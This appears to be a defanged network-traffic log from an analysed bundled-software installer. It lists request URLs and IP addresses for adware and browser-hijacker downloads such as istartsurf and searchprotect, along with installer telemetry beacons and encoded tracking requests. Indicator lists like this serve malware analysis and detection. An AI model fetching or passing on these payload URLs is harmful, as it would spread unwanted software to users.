hxxp://www.girlliuxiaowei.com/home/smt_istartsurf.exe 208.43.230.100
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.05716546046916754
hxxp://d2otsfra4otprh.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe 54.230.200.14
hxxp://a1726.d.akamai.net/sd?is=sm
hxxp://sf.mirror.garr.it/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
hxxp://v2v1.mirror.garr.it/sf/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe
hxxp://downloads.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe 216.34.181.59
hxxp://heanet.dl.sourceforge.net/project/vlc/2.0.4/win32/vlc-2.0.4-win32.exe 193.1.193.66
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.2720251877059125
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&display_height=80&0.47923943233087895
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&0.24168472307728256
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&display_height=170&0.5555938456927323
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=swiftrecord&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=3&index_in_screen=1&index_in_session=3&0.5615464993509336
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action1=xa.geoip&action2=visit&action3=smt.visit.istartsurf&update1=ref,smt&update2=identifier,installer&update3=version,6.6.86.1610&update4=nation,us&update5=language,en 65.255.35.144
hxxp://dzqx32c9j9ub.cloudfront.net/3562/1 54.230.203.95
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.2330230267600375
hxxp://dlrkbt247pbk6.cloudfront.net/3562_4a0d6ef43ecf5ef3093ba32ab20cf026/1.zip 54.230.200.78
hxxp://log.very911.com/install.gif?bundle=istartsurf&ptid=smt&uid=535559167_198339_B48A115F 184.173.191.224
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.regok 65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ds 65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.hp 65.255.35.144
hxxp://download.dynect.mozilla.net/?product=firefox-34.0.5-complete&os=win&lang=en-US
hxxp://www.google.com/ 173.194.113.211
hxxp://a1284.g.akamai.net/pub/firefox/releases/34.0.5/update/win32/en-US/firefox-34.0.5.complete.mar
hxxp://www.google.com.ua/?gfe_rd=cr&ei=7no9VY2BNofDNOipgJgH 173.194.113.223
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab 65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.finish 65.255.35.144
hxxp://dzqx32c9j9ub.cloudfront.net/3562/2 54.230.203.95
hxxp://dlrkbt247pbk6.cloudfront.net/3562_a377bbbd843c69917166da11f0904154/2.zip 54.230.200.78
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ClearnC 65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.wpm 65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ient 65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.RegWrite 65.255.35.144
hxxp://xa.xingcloud.com/v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.ChromeSync 65.255.35.144
hxxp://installer.betterinstaller.com/pinger?event_type=install_complete&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.5453487080878292
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/667.ashx?e=N6dOqWm8Q95zRTWqMhK923FOCrrBm5PrEGETSa0Al mMDmRWpWBZ0CAvELRpepitjKjHf0fty0iH ThLk0X9lPNtJ6SchDLBDyhRDL0PLalNTvXaKqGxaNCUHeR8YCF3uoYeE0rOcJFt02cS7rp/agTxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3cKA3e4YdyjH0= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/667.ashx?e=N6dOqWm8Q95zRTWqMhK923FOCrrBm5PrEGETSa0Al mMDmRWpWBZ0CAvELRpepitjKjHf0fty0iH ThLk0X9lPNtJ6SchDLBn14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/t.ashx?e=NEjPoAxksx2BXOBJ2d DUUZcsUmwT5WOQF3UKsSdb2t7HO4WybUyR1UeQGsGyqMawgCKRqkxlIbWqD2Y/eB8k13hWqFICGTYI5VW8cJNvkmOBvq/txek 2HvVBBJHZ5G2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk= 198.232.124.192
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action0=xa.geoip&action2=visit&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,2.8.8.2102&update4=chptid,smt 65.255.35.144
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/install.ashx?e=nTtqeiyyDwlxTgq6wZuT615oj16EfKcbX/iFdqiZ5XW2ZMgjutBt7OQRE0cF7lrf/k6YQPAn cmeLw31Ygf6oZlbztiqtoL/TokU9chNtxaHMa5E8LXYXeSSX0RX/cuaxs6kPf8Jv8mIVAh2HYa3eDYsLuvXNJnBJOIAnSEbDsy5 wx ILhhS1qgTPL7jymlmOBGPzlFJYmLARt95W016n0AYcuk8312SbnEs2NDT o3j7LEG73hkIFvDg0RyWjmAl4beC2APifphlefiNpeB2PLagMtARkbUlv8o93jVmL5Zc9Mi17eWei6Rh5eUyZ28M41bRePKQHaPVcyKjsd0 e10esTitJUqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5cVazcbc9chGNth7nHDOhUgg02ozMP1ZS 198.232.124.192
hxxp://xa.xingcloud.com/v4/sof-ient/535559167_198339_B48A115F?action1=install.smt 65.255.35.144
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=2&index_in_screen=1&index_in_session=2&0.5002119269017993
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/667.ashx?e=iDRrwQhh7wuQVExL/6LI8O gnshrKAi81VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz57tRcWKYeecl JfVwpv1WvsjMhJxzXo7yMFjWsG0z9OSmF904v4t2Dm1RWSXmqhXZNVXwhFNADpJU4ntMxPuUSjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701LrfqTn2oZi1ThWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj g== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/667.ashx?e=QgW8pN5r26byj2QAAnEFBMIr4n93Nx1RbDRqKGjbJHd4E7mrr1h80pGhRXiiBAM368AF84az5H1IdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPX1K6Tt9USD8HmVvO2Kq2gv91vusSxtcPBQmNZZ2BmWR2YCpHZc9ZUaGLbhvor/ikhRQC drCF7eFG4ZjYofCFeHP7qjlS71Fx Iu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTq8 dGsNZDKp3T9jBPYgM5LpGnU keYEooq3qYbcu/eWAYnRIgrtlY= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/t.ashx?e=gwZ4/u7hMkJxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdAgLxC0aXqYrYyox39H7ctIMcuYh9yJM1s99dnskKlULVi2s6XsF8NY17e6nA3xYScE8SFHLIEPsM3UKcKGG9ndxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJc/JW5G9GpuGA== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=M7A8vgjJHrgX0FFcLlqIhnFOCrrBm5PrIxJmmHlbbDmMDmRWpWBZ0CAvELRpepitjKjHf0fty0gxy5iH3IkzWz312eyQqVQtWLazpewXw1jSN3ZRr1JhaATxIUcsgQ wP4sPieL6LVh0ElnmuIhy 1QTUZAdlB9AdAHFPMr9sQl41TYDIx2MPXo3vQDiI0RbthwOBgLvOFNG5wVH IY5mqHb3b0n5oxdzhxFIAXER6dVI/4dLCBO4KNVsZyPM/1jxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJc/JW5G9GpuGA== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=M7A8vgjJHrgX0FFcLlqIhnFOCrrBm5PrIxJmmHlbbDmMDmRWpWBZ0CAvELRpepitjKjHf0fty0gxy5iH3IkzWz312eyQqVQtWLazpewXw1g ltfx41nMghQC drCF7eFTvYhKMprBayhLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/install.ashx?e=Feo0TQZfu6J5YvL6lzggSbHriSz4AbfaC01ucLXQ1VGqT87ZizpXK0HDmr9X7yCJxU6CcRl6aJOzKeWuSSi2PLiKIFo3W8f2dhK78JwZANhLABaclESgbf20oOr7zOHjllNfMLKuptyR2G31gFuf02hbuYqdnYR4elHMzi3I9ndbsUN4BYD1D8brniShQ3GQtRzip5AcKg4rWxcpBkHhSQ3kCpSb73om1nmEvUc rydewhrFWYF5Tv0qJ78sIh84amSSgMHjLmQAkaiKC91AannFaQMUFf3agVhnL6oJP/krWxcpBkHhSQ3kCpSb73om1nmEvUc ryfLtaw9zNAybItGWMfwQWPTSZrRYQUgrCCNPc8M0MF2aSGap/Piob7 3hNKfF7td/MHaFSDALbQEatJSUihoFKHreIpBjm0xixL/go ONuEXURH0CKlmst94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjn8XYr3vj6K/6Z9eIrA9uVBqKCOmj9aXRfM1N26ynjad0t8mBLx4RCPtTfdjoDFbC9hDd 578F w== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19V2/M8jJQIzSdP2 XN2u718hQC drCF7eF njmPLTFBJTHZ0SBJrLaprY4IvPwXqEQMSZV3lug1pD1Ez1y92rC5cPvyVJE72M86EQb8iyo3pE6vPnRrDWQyqd0/YwT2IDOS6Rp1PpHmBKKKt6mG3Lv3mVPmeOn eUfZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKRucFR/iGOZqh2929J aMXc4cRSAFxEenVSP HSwgTuAdJR3PwTyi6g== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19Ve0/HVt76ZjAUAvnawhe3hZ317vI6orBfXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4 HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== 198.232.124.192
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action0=xa.geoip&action1=visit&action2=install 65.255.35.144
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/yta33_full.exe 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMpIdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPXzobjJJ1f3pO 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19VQy3/vmu1URAUAvnawhe3hcica6AIPAezhqBxvppgbPaoY7TL7kjxnI8dGiFiw2ki4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVlOrz50aw1kMqndP2ME9iAzkukadT6R5gSiirephty795YBidEiCu2Vg== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19V2Rko0jTI4S7Vw12R6ofm/Y8iQvDAJnGKH8qnmCyK7v7JBTPp2F5gxC Mhrkq09y/A2uu7zQQkK33iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22ObTDPRTojvSCHMVy4A0ZhywUJj3rTpnQ9stLKTtE4wWOaB2EzLALFffS2I5mdr23B CcRQjcXxyD 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19Vx5kiKceVrSAAWRkI6Uocf9CUHeR8YCF32aiujnEdaD2RHLN7I11j c7I0Xy20VFhZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmAQ VwoE0aIX/TbXnzkx FKRucFR/iGOZqh2929J aMXc4cRSAFxEenVSP HSwgTuAdJR3PwTyi6g== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19VQy TvLH5SNftN2kzF 5WqbPiCC4paVhd7txZncMHn06ScJu8C7yBqpe/jFqE4L9XD4NyULog6KHAsvlBgzvTh6syuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRldmt6Vgk8tThrYBjwSzYitUsLGKD6Do/7W1wxfBEZJmYqiCKba42bFhfwz3TI3iY3ny9jMBZWjQ= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19VmEkFygc5PV l8LS18/7YS7PiCC4paVhd7GKnBbIY8FBFpTldfxcKbOIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZTq8 dGsNZDKp3T9jBPYgM5LpGnU keYEooq3qYbcu/eWAYnRIgrtlY= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT8IWTdc0BVRzshiWv5Ja8Fbs IILilpWF2W4ZI0w3yOP6AmNqIc/gwepNmsXK wzeJ c4EoHiPtp/ibRZl Nn4R/Aacx5XpRlqV7H RUob56yTHwcZb2z5P1MrzBZPK8ul3lKUo42BvPJLMQB9zRg7u0ctHkjgVDHr0xus7kNd iWhZuwfvRbkLn4OURcE7lUDZH476o8GoGBUmpStNaTb9a4Aqby40sZ7Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMpIdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPXzobjJJ1f3pO 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT/mJXdux5Fvl9n5EWJRAEnQKYX3Ti/i3YP1b661ON6JHo8ELrHrpRwVw1PcYrVm0Q9XQ9J8KSs5a4MNpNQo19uHgy6YlW82m1mJd/JSmlPgygFakk3mKHZ8nZ92R8WPtSPD39uruDJE98eAAVArKptKUdW1y396VwWkTqbSbpNNR48UBgfn/EdyjMb3M1eFmdc2 Le3/eDB Eeu2KCTq4AUbl4e0/dEFirVXgd6TQBX2bwyCrtkSlvF94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsFCY9606Z0PbLSyk7ROMFjmgdhMywCxX30tiOZna9twfgnEUI3F8cgw== 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT AW1ilHO0XlqaFGmNQisoEs IILilpWF0xvNRnLf/zkL0gMjSgdVjaBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLuMJy0xIEki/R/TArjXZXIKNewYKwONFevRrV2mGBDo3Vd0xgaUB0loXwql6nKegU 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT/aaY YTEt5Uvbfo/lsLEXHKYX3Ti/i3YPc6IXuGS75LmdamvrUQZsSBJrpn5593i7JkPoDWmx/bJrdSyBxPRpgEPlcKBNGiF/021585MfhSkbnBUf4hjmaodvdvSfmjF3OHEUgBcRHp1Uj/h0sIE7gHSUdz8E8ouo= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=hpY1rXLYst6pJ45fVU/vC4Fc4EnZ34NR5q9ijZdZycpAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbLhu0b45kiT8FwTBnjqtB6SJSQWKLfKoAjgb6v7cXpPvdDLE kFDLYhxZg1qpOAgFszaHxLtpNrnYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMpIdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPXzobjJJ1f3pO 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=yhrBLBbZM9VlaSlBpdt MYFc4EnZ34NRvPsP4PRbYtFAXdQqxJ1vaxGgYkoQykSFfl0yK7ww8bSNFY6Ws1wbQ6Hb3b0n5oxdzhxFIAXER6dVI/4dLCBO4CvSnBgPe66t1JJpRAUOpYSeY/e3xqcYN9oGiWTaeRqbX4l9XCm/Va/LS8QKBdwSe29z1KklHinBKYX3Ti/i3YMgCmKZYKupqVXwtCZfo4Zr9nup2DtfDPrER/kwSJZSa/eJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLBQmPetOmdD2y0spO0TjBY5oHYTMsAsV99LYjmZ2vbcH4JxFCNxfHIM= 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=R278SAfkg0VxTgq6wZuT652HXSSUTHq9jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0a1yMTX l/6fSl3u293svNWe4QpoO1WcaCmF904v4t2DgqN0HT1lsgmM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUut pOfahmLVOFYQdPhXtrzaAsY7JMnPrl5ziyfh9EnegKQwdxoo6P6 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=d/UISSlWdlNxTgq6wZuT63a GkEuPx2ijA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0VLthe3E5HJFVjr4IQgU6/03VTKOu38TtLPiCC4paVhdQW0QLiFfYl12K9rRzWJ3HiWuYu/w6QjMxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9qKCOmj9aXRfM1N26ynjad0t8mBLx4RCPtTfdjoDFbC9hDd 578F w== 198.232.124.192
hxxp://xa.xingcloud.com/v4/searchprotect/535559167_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2253 65.255.35.144
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/667.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz57tRcWKYeecuKhBlRQZmwjsjMhJxzXo7yMFjWsG0z9OSmF904v4t2D LNjtSN/TxaM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUut pOfahmLVOFYQdPhXtrzaAsY7JMnPrl5ziyfh9EnegKQwdxoo6P6 198.232.124.192
hxxp://pn61ajqijj0-g48pastf.netdna-ssl.com/24100.ashx?e=VUrHHbcUIneQVExL/6LI8P/KgNerKaIX1VMaOJFqXYpm5LT87ehXaouB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqbiKIFo3W8f23Wq7IsWCDz6kJKykmN94QQyKVonWFV7RD5Sh2iPx4Tl/DvTHZIAKtATxIUcsgQ wusjSmD/os8shJkdH5jOhAHvojBYZTAl2SDGL01oIa7jD3Psqw12eBUNQkrQodbn4W0C6B oLg2/kIgqoM4zGjB6RUS1Mgh81BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL1WIDtMhwBxLuMJy0xIEki/R/TArjXZXIKNewYKwONFevRrV2mGBDo3Vd0xgaUB0loXwql6nKegU 198.232.124.192
